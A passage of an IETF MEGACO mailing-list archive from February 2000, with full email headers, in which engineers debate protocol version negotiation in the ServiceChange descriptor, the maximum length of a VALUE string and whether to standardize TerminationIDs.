1.8d) with spool id 20769 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 09:27:30 -0500 Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7ED6F5E0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:17:30 -0500 Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id PAA19262 for ; Thu, 3 Feb 2000 15:19:38 +0100 (MET) Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id PAA14150; Thu, 3 Feb 2000 15:19:37 +0100 Received: from ericsson.com (kipe149.eraj.ericsson.se [147.214.68.149]) by elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id PAA15251 for ; Thu, 3 Feb 2000 15:19:36 +0100 (MET) X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <38998E7B.17BDBBDC@ericsson.com> Date: Thu, 3 Feb 2000 15:19:39 +0100 Reply-To: Christian Groves Sender: "Media Gateway Control (megaco)" From: Christian Groves Subject: Re: Profile and version in ServiceChange Descriptor To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit I don't think this is practical always using the v1 format. We may want to in the future add new features to the initial startup serviceChange action. With this limitation it means that we can't add these new features. Cheers, Christian Tom-PT Taylor wrote: > > I like your approach of requiring initial registration to always use > v1 format. Let's see what others say. > > -----Original Message----- > From: Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM] > Sent: Wednesday, February 02, 2000 12:33 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: Profile and version in ServiceChange > Descriptor > > Can we just negotiate version at the message header level instead > of going into transaction > and serviceChange? > > IF MGC does not support the version specified in the message > header, it will return an > error to MG. MG can start backing off the version # until it > finds one that the MGC would > accept. > > The example seems to be implying that the first message is always > encoded in v1 and > version negotiation is done with serviceChange messages. If so, > the Standard should clearly > state this in section 11.3. > > Otherwise, in the example if MG started w/ v3, it would get an > error at the message level. > Then MG has to start backing off the version # until MGC accept > it. So we are back to doing > some kind of message level version negotiation. > > Chuong > > Abdallah Rayhan wrote: > > The objective of message versioning is different from > protocol versioning > in service change. Messaging versioning is for efficient > parsing and > processing of the message as well as debugging. While > protocol versioning > in servicechane is for changing the protocol version without > resorting to > error messages. > > For example, > 1- > ; msg encoded in V1, servicechange version is 2 > ; both MG and MGC understand V1 > MG -------> MGC > > 2- > ; msg is still encoded in V1, > ; MGC rejects service change version, MGC does not support > V2 > ; MG realizes that it can not upgrade its communication with > MGC > MG <------- MGC > > 3- MG decides whether it wants to continue communication > with > MGC in V1 or halt. > > Another scenario would be that MGC supports V2 as well V1, > so it > accepts service change to V2. MG encodes its msgs using V2 > syntax > as well as MGC. The last two steps of the above scenario > would be, > 2- > ; msg is still encoded in V1, > ; MGC accepts service change version, MGC supports V2 > ; MG realizes that it can upgrade its communication with MGC > MG <------- MGC > > 3- > ; msg is encoded in V2, > MG -------> MGC > > Abdallah Rayhan > > Harpreet Singh Anand wrote: > > > Hello, > > > > > The Profile field conatins a version and a version field > is also included > > > seperately in ServiceChange > > > Descriptor. Are they different, or this is redundant > information ? > > > > The version in the profile field specifies the version of > the profile being > > supported by the gateway. It is different from the version > field which specifies > > the version of the MEGACO protocol. > > > > Quote from section 7.2.8: > > > > " The optional Profile parameter specifies the Profile (if > any) of the > > protocol supported. The Profile includes the version of > the profile > > supported. > > > > The optional Version parameter contains the protocol > version and is used > > if protocol version negotiation occurs (see section 11.3). > " > > > > A related question: What is the need of adding version > field in > > ServiceChangeDescriptor when the same information is there > in the first line of > > the message ? > > > > Regards, > > Harpreet > > > > _________________________________ > > Harpreet Singh Anand > > Ficon Technology > > E-mail : > > Web : > > -- > Alcatel USA, Inc Internet: > Chuong.Nguyen@usa.alcatel.com > 1000 Coit Road Plano, Texas 75075 Phone: (972) > 519-4613 > **** The opinions expressed are not those of Alcatel USA, Inc > **** > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 09:38:06 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19148 for ; Thu, 3 Feb 2000 09:38:05 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.01F24680@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:35:29 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20819 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 09:34:09 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D266F320@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:34:09 -0500 Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 08:35:11 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Thu, 3 Feb 2000 09:34:46 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1D5VBM2L>; Thu, 3 Feb 2000 09:34:46 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6E53.CF8CE8C4" Message-ID: Date: Thu, 3 Feb 2000 09:34:42 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: maximum size of a VALUE X-To: Steven Magnell To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6E53.CF8CE8C4 Content-Type: text/plain Looks like a good one for "errata". > -----Original Message----- > From: Steven Magnell [SMTP:magnells@DIALOGIC.COM] > Sent: Wednesday, February 02, 2000 7:20 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: maximum size of a VALUE > > This may be minor compared to other issues, but it seems that the maximum > size of a VALUE is 64 characters (not including quotes) in the ABNF > syntax. > It should be larger, perhaps arbitrary. The ASN.1 definition of Value does > not have this limitation. > > While this does not seem to be a concern with the basic packages, looking > ahead to upcoming packages such as the display and text telephone packages > in the otherpkgs draft and the cromwell ARF draft, there is a need to > support longer strings. The text telephone package, for example, defines > string parameters with a maximum of 256 characters and the others have > strings of arbitrary length where some larger string, such as a display or > text-to-speech announcement, would certainly be reasonable. > > steve magnell ------_=_NextPart_001_01BF6E53.CF8CE8C4 Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: maximum size of a VALUE

Looks like a good = one for "errata".

    -----Original Message-----
    From:   Steven Magnell = [SMTP:magnells@DIALOGIC.COM]
    Sent:   Wednesday, February 02, 2000 7:20 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = maximum size of a VALUE

    This may be minor compared to other = issues, but it seems that the maximum
    size of a VALUE is 64 characters (not = including quotes) in the ABNF syntax.
    It should be larger, perhaps = arbitrary. The ASN.1 definition of Value does
    not have this limitation.

    While this does not seem to be a = concern with the basic packages, looking
    ahead to upcoming packages such as = the display and text telephone packages
    in the otherpkgs draft and the = cromwell ARF draft, there is a need to
    support longer strings. The text = telephone package, for example, defines
    string parameters with a maximum of = 256 characters and the others have
    strings of arbitrary length where = some larger string, such as a display or
    text-to-speech announcement, would = certainly be reasonable.

    steve magnell

------_=_NextPart_001_01BF6E53.CF8CE8C4-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 09:42:43 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19250 for ; Thu, 3 Feb 2000 09:42:42 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.92B85920@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:39:31 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20850 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 09:38:28 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6CA11100@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:38:27 -0500 Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 08:40:08 -0600 Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Thu, 3 Feb 2000 09:39:50 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1D5VBMPW>; Thu, 3 Feb 2000 09:39:50 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6E54.860FCC56" Message-ID: Date: Thu, 3 Feb 2000 09:39:47 -0500 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: Profile and version in ServiceChange Descriptor X-To: Christian Groves To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6E54.860FCC56 Content-Type: text/plain; charset="iso-8859-1" v1 ServiceChange already has room for expansion -- the extension capability is explicit. > -----Original Message----- > From: Christian Groves [SMTP:Christian.Groves@ERICSSON.COM] > Sent: Thursday, February 03, 2000 9:20 AM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: Profile and version in ServiceChange Descriptor > > I don't think this is practical always using the v1 format. We may want > to in the future add new features to the initial startup serviceChange > action. With this limitation it means that we can't add these new > features. > > Cheers, Christian > > Tom-PT Taylor wrote: > > > > I like your approach of requiring initial registration to always use > > v1 format. Let's see what others say. > > > > -----Original Message----- > > From: Chuong Nguyen [SMTP:Chuong.Nguyen@USA.ALCATEL.COM] > > Sent: Wednesday, February 02, 2000 12:33 PM > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > Subject: Re: Profile and version in ServiceChange > > Descriptor > > > > Can we just negotiate version at the message header level instead > > of going into transaction > > and serviceChange? > > > > IF MGC does not support the version specified in the message > > header, it will return an > > error to MG. MG can start backing off the version # until it > > finds one that the MGC would > > accept. > > > > The example seems to be implying that the first message is always > > encoded in v1 and > > version negotiation is done with serviceChange messages. If so, > > the Standard should clearly > > state this in section 11.3. > > > > Otherwise, in the example if MG started w/ v3, it would get an > > error at the message level. > > Then MG has to start backing off the version # until MGC accept > > it. So we are back to doing > > some kind of message level version negotiation. > > > > Chuong > > > > Abdallah Rayhan wrote: > > > > The objective of message versioning is different from > > protocol versioning > > in service change. Messaging versioning is for efficient > > parsing and > > processing of the message as well as debugging. While > > protocol versioning > > in servicechane is for changing the protocol version without > > resorting to > > error messages. > > > > For example, > > 1- > > ; msg encoded in V1, servicechange version is 2 > > ; both MG and MGC understand V1 > > MG -------> MGC > > > > 2- > > ; msg is still encoded in V1, > > ; MGC rejects service change version, MGC does not support > > V2 > > ; MG realizes that it can not upgrade its communication with > > MGC > > MG <------- MGC > > > > 3- MG decides whether it wants to continue communication > > with > > MGC in V1 or halt. > > > > Another scenario would be that MGC supports V2 as well V1, > > so it > > accepts service change to V2. MG encodes its msgs using V2 > > syntax > > as well as MGC. The last two steps of the above scenario > > would be, > > 2- > > ; msg is still encoded in V1, > > ; MGC accepts service change version, MGC supports V2 > > ; MG realizes that it can upgrade its communication with MGC > > MG <------- MGC > > > > 3- > > ; msg is encoded in V2, > > MG -------> MGC > > > > Abdallah Rayhan > > > > Harpreet Singh Anand wrote: > > > > > Hello, > > > > > > > The Profile field conatins a version and a version field > > is also included > > > > seperately in ServiceChange > > > > Descriptor. Are they different, or this is redundant > > information ? > > > > > > The version in the profile field specifies the version of > > the profile being > > > supported by the gateway. It is different from the version > > field which specifies > > > the version of the MEGACO protocol. > > > > > > Quote from section 7.2.8: > > > > > > " The optional Profile parameter specifies the Profile (if > > any) of the > > > protocol supported. The Profile includes the version of > > the profile > > > supported. > > > > > > The optional Version parameter contains the protocol > > version and is used > > > if protocol version negotiation occurs (see section 11.3). > > " > > > > > > A related question: What is the need of adding version > > field in > > > ServiceChangeDescriptor when the same information is there > > in the first line of > > > the message ? > > > > > > Regards, > > > Harpreet > > > > > > _________________________________ > > > Harpreet Singh Anand > > > Ficon Technology > > > E-mail : > > > Web : > > > > -- > > Alcatel USA, Inc Internet: > > Chuong.Nguyen@usa.alcatel.com > > 1000 Coit Road Plano, Texas 75075 Phone: (972) > > 519-4613 > > **** The opinions expressed are not those of Alcatel USA, Inc > > **** > > ------_=_NextPart_001_01BF6E54.860FCC56 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: Profile and version in ServiceChange Descriptor

v1 ServiceChange = already has room for expansion -- the extension capability is = explicit.

    -----Original Message-----
    From:   Christian Groves = [SMTP:Christian.Groves@ERICSSON.COM]
    Sent:   Thursday, February 03, 2000 9:20 AM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Re: Profile and version in = ServiceChange Descriptor

    I don't think this is practical always = using the v1 format. We may want
    to in the future add new features to = the initial startup serviceChange
    action. With this limitation it means = that we can't add these new
    features.

    Cheers, Christian

    Tom-PT Taylor wrote:
    >
    > I like your approach of = requiring initial registration to always use
    > v1 format.  Let's see what = others say.
    >
    >      = -----Original Message-----
    >      = From:   Chuong Nguyen = [SMTP:Chuong.Nguyen@USA.ALCATEL.COM]
    >      = Sent:   Wednesday, February 02, 2000 12:33 PM
    >      = To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    >      = Subject:        Re: Profile and = version in ServiceChange
    >      = Descriptor
    >
    >      = Can we just negotiate version at the message header level = instead
    >      of = going into transaction
    >      = and serviceChange?
    >
    >      IF = MGC does not support the version specified in the message
    >      = header, it will return an
    >      = error to MG.  MG can start backing off the version # until = it
    >      = finds one that the MGC would
    >      = accept.
    >
    >      = The example seems to be implying that the first message is = always
    >      = encoded in v1 and
    >      = version negotiation is done with serviceChange messages.  If = so,
    >      = the Standard should clearly
    >      = state this in section 11.3.
    >
    >      = Otherwise, in the example if MG started w/ v3, it would get an
    >      = error at the message level.
    >      = Then MG has to start backing off the version # until MGC accept
    >      = it.  So we are back to doing
    >      = some kind of message level version negotiation.
    >
    >      = Chuong
    >
    >      = Abdallah Rayhan wrote:
    >
    >         = ;  The objective of message versioning is different from
    >         = ;  protocol versioning
    >         = ;  in service change. Messaging versioning is for efficient
    >         = ;  parsing and
    >         = ;  processing of the message as well as debugging. While
    >         = ;  protocol versioning
    >         = ;  in servicechane is for changing the protocol version = without
    >         = ;  resorting to
    >         = ;  error messages.
    >
    >         = ;  For example,
    >         = ;  1-
    >         = ;  ; msg encoded in V1, servicechange version is 2
    >         = ;  ; both MG and MGC understand V1
    >         = ;  MG -------> MGC
    >
    >         = ;  2-
    >         = ;  ; msg is still encoded in V1,
    >         = ;  ; MGC rejects service change version, MGC does not = support
    >         = ;  V2
    >         = ;  ; MG realizes that it can not upgrade its communication = with
    >         = ;  MGC
    >         = ;  MG <------- MGC
    >
    >     &nbs= p;     3- MG decides whether it wants to continue = communication
    >         = ;  with
    >         = ;  MGC in V1 or halt.
    >
    >         = ;  Another scenario would be that MGC supports V2 as well = V1,
    >         = ;  so it
    >         = ;  accepts service change to V2. MG encodes its msgs using = V2
    >         = ;  syntax
    >         = ;  as well as MGC. The last two steps of the above scenario
    >         = ;  would be,
    >         = ;  2-
    >         = ;  ; msg is still encoded in V1,
    >         = ;  ; MGC accepts service change version, MGC supports V2
    >         = ;  ; MG realizes that it can upgrade its communication with = MGC
    >         = ;  MG <------- MGC
    >
    >         = ;  3-
    >         = ;  ; msg is encoded in V2,
    >         = ;  MG -------> MGC
    >
    >         = ;  Abdallah Rayhan
    >
    >         = ;  Harpreet Singh Anand wrote:
    >
    >         = ;  > Hello,
    >         = ;  >
    >         = ;  > > The Profile field conatins a version and a version = field
    >         = ;  is also included
    >         = ;  > > seperately in ServiceChange
    >         = ;  > > Descriptor. Are they different, or this is = redundant
    >         = ;  information ?
    >         = ;  >
    >         = ;  > The version in the profile field specifies the version = of
    >         = ;  the profile being
    >     &nbs= p;     > supported by the gateway. It is = different from the version
    >         = ;  field which specifies
    >         = ;  > the version of the MEGACO protocol.
    >         = ;  >
    >         = ;  > Quote from section 7.2.8:
    >         = ;  >
    >         = ;  > " The optional Profile parameter specifies the = Profile (if
    >         = ;  any) of the
    >         = ;  > protocol supported.  The Profile includes the version = of
    >         = ;  the profile
    >         = ;  > supported.
    >         = ;  >
    >         = ;  > The optional Version parameter contains the = protocol
    >         = ;  version and is used
    >         = ;  > if protocol version negotiation occurs (see section = 11.3).
    >         = ;  "
    >         = ;  >
    >         = ;  > A related question: What is the need of adding = version
    >         = ;  field in
    >         = ;  > ServiceChangeDescriptor when the same information is = there
    >         = ;  in the first line of
    >         = ;  > the message ?
    >         = ;  >
    >         = ;  > Regards,
    >         = ;  > Harpreet
    >         = ;  >
    >         = ;  > _________________________________
    >         = ;  > Harpreet Singh Anand
    >         = ;  > Ficon Technology
    >         = ;  > E-mail :  <mailto:hsanand@ficon-tech.com= >
    >         = ;  > Web    :  <http://www.ficon-tech.com>
    >
    >      = --
    >        Alcatel = USA, = Inc           &nb= sp; Internet:
    >      = Chuong.Nguyen@usa.alcatel.com
    >        1000 Coit = Road Plano, Texas = 75075           = Phone:    (972)
    >      = 519-4613
    >        **** The = opinions expressed are not those of Alcatel USA, Inc
    >      = ****
    >

------_=_NextPart_001_01BF6E54.860FCC56-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 09:42:44 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19252 for ; Thu, 3 Feb 2000 09:42:43 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.92FB2E80@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:39:32 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20855 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 09:38:31 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6EC577A0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:38:31 -0500 Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 08:40:33 -0600 Received: from zcard00m.ca.nortel.com by zmers013; Thu, 3 Feb 2000 09:40:15 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1FX0Z9N4; Thu, 3 Feb 2000 09:40:14 -0500 Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id DMXAJAK7; Thu, 3 Feb 2000 09:40:16 -0500 X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: <65256879.001C93B6.00@sandesh.hss.hns.com> <3897C75B.40404700@ficon-tech.com> <389840F8.FE8FFB32@americasm01.nt.com> <38986A5D.36312EAA@usa.alcatel.com> Content-Type: multipart/alternative; boundary="------------8FD08A76F1FB187A0E8A8EE6" Message-ID: <389993B8.1A1F24BF@americasm01.nt.com> Date: Thu, 3 Feb 2000 09:42:00 -0500 Reply-To: Abdallah Rayhan Sender: "Media Gateway Control (megaco)" From: Abdallah Rayhan Organization: Nortel Networks Subject: Re: Profile and version in ServiceChange Descriptor X-To: Chuong Nguyen To: MEGACO@STANDARDS.NORTELNETWORKS.COM --------------8FD08A76F1FB187A0E8A8EE6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit This is something that be decided in future releases of MEGACO IMO. For example V2, V3, .... could state that V1 is a common negotiation version. In this case, version negotiation would always happen in V1. In V1, we have the insight to provide the mechanism to accomplish this. However, different versions may resort to different mechanisms. Therefore, rather than binding this requirement in this draft and forcing it on all future releases of the protocol, let future versions worry about how compatibility issues are resolved. Abdallah Rayhan Chuong Nguyen wrote: > Can we just negotiate version at the message header level instead of > going into transaction > and serviceChange? > > IF MGC does not support the version specified in the message header, > it will return an > error to MG. MG can start backing off the version # until it finds > one that the MGC would > accept. > > The example seems to be implying that the first message is always > encoded in v1 and > version negotiation is done with serviceChange messages. If so, the > Standard should clearly > state this in section 11.3. > > Otherwise, in the example if MG started w/ v3, it would get an error > at the message level. > Then MG has to start backing off the version # until MGC accept it. > So we are back to doing > some kind of message level version negotiation. > > Chuong > > Abdallah Rayhan wrote: > >> The objective of message versioning is different from protocol >> versioning >> in service change. Messaging versioning is for efficient parsing and >> >> processing of the message as well as debugging. While protocol >> versioning >> in servicechane is for changing the protocol version without >> resorting to >> error messages. >> >> For example, >> 1- >> ; msg encoded in V1, servicechange version is 2 >> ; both MG and MGC understand V1 >> MG -------> MGC >> >> 2- >> ; msg is still encoded in V1, >> ; MGC rejects service change version, MGC does not support V2 >> ; MG realizes that it can not upgrade its communication with MGC >> MG <------- MGC >> >> 3- MG decides whether it wants to continue communication with >> MGC in V1 or halt. >> >> Another scenario would be that MGC supports V2 as well V1, so it >> accepts service change to V2. MG encodes its msgs using V2 syntax >> as well as MGC. The last two steps of the above scenario would be, >> 2- >> ; msg is still encoded in V1, >> ; MGC accepts service change version, MGC supports V2 >> ; MG realizes that it can upgrade its communication with MGC >> MG <------- MGC >> >> 3- >> ; msg is encoded in V2, >> MG -------> MGC >> >> Abdallah Rayhan >> >> Harpreet Singh Anand wrote: >> >> > Hello, >> > >> > > The Profile field conatins a version and a version field is also >> included >> > > seperately in ServiceChange >> > > Descriptor. Are they different, or this is redundant information >> ? >> > >> > The version in the profile field specifies the version of the >> profile being >> > supported by the gateway. It is different from the version field >> which specifies >> > the version of the MEGACO protocol. >> > >> > Quote from section 7.2.8: >> > >> > " The optional Profile parameter specifies the Profile (if any) of >> the >> > protocol supported. The Profile includes the version of the >> profile >> > supported. >> > >> > The optional Version parameter contains the protocol version and >> is used >> > if protocol version negotiation occurs (see section 11.3). " >> > >> > A related question: What is the need of adding version field in >> > ServiceChangeDescriptor when the same information is there in the >> first line of >> > the message ? >> > >> > Regards, >> > Harpreet >> > >> > _________________________________ >> > Harpreet Singh Anand >> > Ficon Technology >> > E-mail : mailto:hsanand@ficon-tech.com >> > Web : http://www.ficon-tech.com > > -- > Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com > 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 > **** The opinions expressed are not those of Alcatel USA, Inc **** > > --------------8FD08A76F1FB187A0E8A8EE6 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit  
This is something that be decided in future releases of MEGACO IMO. For example
V2, V3, .... could state that V1 is a common negotiation version. In this case,
version negotiation would always happen in V1. In V1, we have the insight to provide the
mechanism to accomplish this. However, different versions may resort to different
mechanisms. Therefore, rather than binding this requirement in this draft and
forcing it on all future releases of the protocol, let future versions worry about how
compatibility issues are resolved.

Abdallah Rayhan

Chuong Nguyen wrote:

Can we just negotiate version at the message header level instead of going into transaction
and serviceChange?

IF MGC does not support the version specified in the message header, it will return an
error to MG.  MG can start backing off the version # until it finds one that the MGC would
accept.

The example seems to be implying that the first message is always encoded in v1 and
version negotiation is done with serviceChange messages.  If so, the Standard should clearly
state this in section 11.3.

Otherwise, in the example if MG started w/ v3, it would get an error at the message level.
Then MG has to start backing off the version # until MGC accept it.  So we are back to doing
some kind of message level version negotiation.

Chuong

Abdallah Rayhan wrote:

The objective of message versioning is different from protocol versioning
in service change. Messaging versioning is for efficient parsing and
processing of the message as well as debugging. While protocol versioning
in servicechane is for changing the protocol version without resorting to
error messages.

For example,
1-
; msg encoded in V1, servicechange version is 2
; both MG and MGC understand V1
MG -------> MGC

2-
; msg is still encoded in V1,
; MGC rejects service change version, MGC does not support V2
; MG realizes that it can not upgrade its communication with MGC
MG <------- MGC

3- MG decides whether it wants to continue communication with
MGC in V1 or halt.

Another scenario would be that MGC supports V2 as well V1, so it
accepts service change to V2. MG encodes its msgs using V2 syntax
as well as MGC. The last two steps of the above scenario would be,
2-
; msg is still encoded in V1,
; MGC accepts service change version, MGC supports V2
; MG realizes that it can upgrade its communication with MGC
MG <------- MGC

3-
; msg is encoded in V2,
MG -------> MGC

Abdallah Rayhan

Harpreet Singh Anand wrote:

> Hello,
>
> > The Profile field conatins a version and a version field is also included
> > seperately in ServiceChange
> > Descriptor. Are they different, or this is redundant information ?
>
> The version in the profile field specifies the version of the profile being
> supported by the gateway. It is different from the version field which specifies
> the version of the MEGACO protocol.
>
> Quote from section 7.2.8:
>
> " The optional Profile parameter specifies the Profile (if any) of the
> protocol supported.  The Profile includes the version of the profile
> supported.
>
> The optional Version parameter contains the protocol version and is used
> if protocol version negotiation occurs (see section 11.3). "
>
> A related question: What is the need of adding version field in
> ServiceChangeDescriptor when the same information is there in the first line of
> the message ?
>
> Regards,
> Harpreet
>
> _________________________________
> Harpreet Singh Anand
> Ficon Technology
> E-mail :  mailto:hsanand@ficon-tech.com
> Web    :  http://www.ficon-tech.com

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****
 
--------------8FD08A76F1FB187A0E8A8EE6-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Thu Feb 3 09:53:20 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA19399 for ; Thu, 3 Feb 2000 09:53:19 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.1EEEDC10@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:50:36 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 20906 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 09:48:56 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E313ADB0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 9:48:56 -0500 Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 08:50:25 -0600 Received: from zcard00n.ca.nortel.com by zmers013; Thu, 3 Feb 2000 09:50:05 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1DZK7LBQ; Thu, 3 Feb 2000 09:50:05 -0500 Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id DMXAJANV; Thu, 3 Feb 2000 09:50:06 -0500 X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: Content-Type: multipart/alternative; boundary="------------5166A07A0C3418D65275CFFB" Message-ID: <38999606.5B381970@americasm01.nt.com> Date: Thu, 3 Feb 2000 09:51:50 -0500 Reply-To: Abdallah Rayhan Sender: "Media Gateway Control (megaco)" From: Abdallah Rayhan Organization: Nortel Networks Subject: Re: How does a TerminationID look like X-To: Tom-PT Taylor To: MEGACO@STANDARDS.NORTELNETWORKS.COM --------------5166A07A0C3418D65275CFFB Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I think name standardization of TerminationIDs is something we should purse. It will eliminate confusion and lay the ground for wider cross-vendor interoperability. Abdallah Rayhan "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote: > > > We have avoided standardizing termination IDs. A couple of people > have suggested that their gateways will have a hardcoded terminationID > format, but this should be vendor-specific: configurations will vary > between vendors. If we really want to get into standardization of > naming, I know a bunch of M- and G-series ITU-T Recommendations which > will provide a starting point on the digital facility side. Bottom > line: above the MG you should assume that termination IDs will be > arbitrary collections of characters. > > The SG (Signalling Gateway), if involved in the call, needs a table > mapping between {OPC,DPC,CIC} and MGC. The MGC needs a table mapping > between {OPC,DPC,CIC} and {MG,terminationID}. The MGC also needs > routing tables on the TDM side to map from routes to the > {MG,terminationID} pairs that make up those routes. > > -----Original Message----- > From: Singaravelan Singaraselvan > [SMTP:Singaravelan_Singaraselvan@MW.3COM.COM] > Sent: Wednesday, February 02, 2000 12:41 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: How does a TerminationID look like > > Hi all, > > I would like to know, an example for a Termination Id when the > input is a T1 > Trunk. > > Because we need to map the ISUP data namely OPC, DPC and CIC to > a Termination > ID. > > Thanks, > Singar/.. > 